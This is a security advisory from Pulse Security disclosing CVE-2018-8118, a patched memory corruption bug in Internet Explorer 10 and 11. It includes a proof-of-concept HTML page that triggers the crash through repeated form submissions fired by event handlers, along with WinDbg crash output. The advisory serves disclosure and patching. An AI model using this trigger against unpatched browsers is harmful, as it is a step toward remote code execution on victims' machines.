Pulse Security

# VULNERABILITY ADVISORY

| | |
|---|---|
| Title | Microsoft Internet Explorer Hyperlink Memory Corruption (CVE-2018-8118) |
| Date Released | 30/04/2018 |
| CVE | CVE-2018-8118 |
| Author | Scott Bell |
| Vendor Website | http://www.microsoft.com/ |
| Affected Software | Internet Explorer 10<br>Internet Explorer 11 |

## SUMMARY

A memory corruption vulnerability exists in Microsoft Internet Explorer. The corruption happens as a result of the destruction and reuse of an element processed by Internet Explorer. An attacker can use this vulnerability to obtain Remote Code Execution and compromise a victim's machine.

Microsoft fixed this vulnerability in the April 2018 patch cycle. Pulse Security recommends applying the latest updates to mitigate this vulnerability.

## PROOF OF CONCEPT

The following HTML can be used to reproduce the vulnerability

HTML

```
<html>
<head>
<meta http-equiv="cache-control" content="max-age=0" />
<meta http-equiv="cache-control" content="no-cache" />
<meta http-equiv="expires" content="0" />
<meta http-equiv="expires" content="Tue, 01 Jan 1980 1:00:00 GMT" />
<meta http-equiv="pragma" content="no-cache" />

<script>
function boom() {
try { form.submit(); } catch(e) { }
try { form.target = "aaaa"; } catch(e) { }
try { form.submit(); } catch(e) { }
}
</script>
</head>
<body>
<form id="form" target="aaaaa">
<object onerror="boom()" classid="aaaa"></object>
</form>
<style onload="boom()">aaa</style>
</body>
</html>
```

The following table shows sample debugger output:

WINDBG OUTPUT

```
(efc.214): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c7b4ff0 ebx=00000000 ecx=0c842fe4 edx=ffffffff esi=0498b5f0 edi=00aa2ee0
eip=7629fbd1 esp=0498b5a0 ebp=0498b5d4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
kernel32!LongCompareString+0xcc:
7629fbd1 0fb710          movzx   edx,word ptr [eax]       ds:0023:0c7b4ff0=????
3:061> k
ChildEBP RetAddr
0498b5d4 7629fb88 kernel32!LongCompareString+0xcc
0498b680 75a570f2 kernel32!SortCompareString+0x1bc
0498b6a8 75a5712c KERNELBASE!SortCompareString+0x52
0498b6f4 75d1828d shlwapi!_StrCmpLocaleW+0x1f
0498b710 67005b29 shlwapi!StrCmpW+0x16
0498b770 67004877 MSHTML!SearchChildrenForWindow+0x7c
0498b820 66da7c2e MSHTML!GetTargetWindow+0x57
0498b888 6662bc35 MSHTML!CDoc::FindTargetWindow+0xffe066e8
0498b934 67338aa2 MSHTML!CDoc::FollowHyperlink2+0x343
0498ba20 670eaf95 MSHTML!CFormElement::DoSubmit+0x5ae
0498ba40 619a22ad MSHTML!CFastDOM::CHTMLFormElement::Trampoline_submit+0x35
```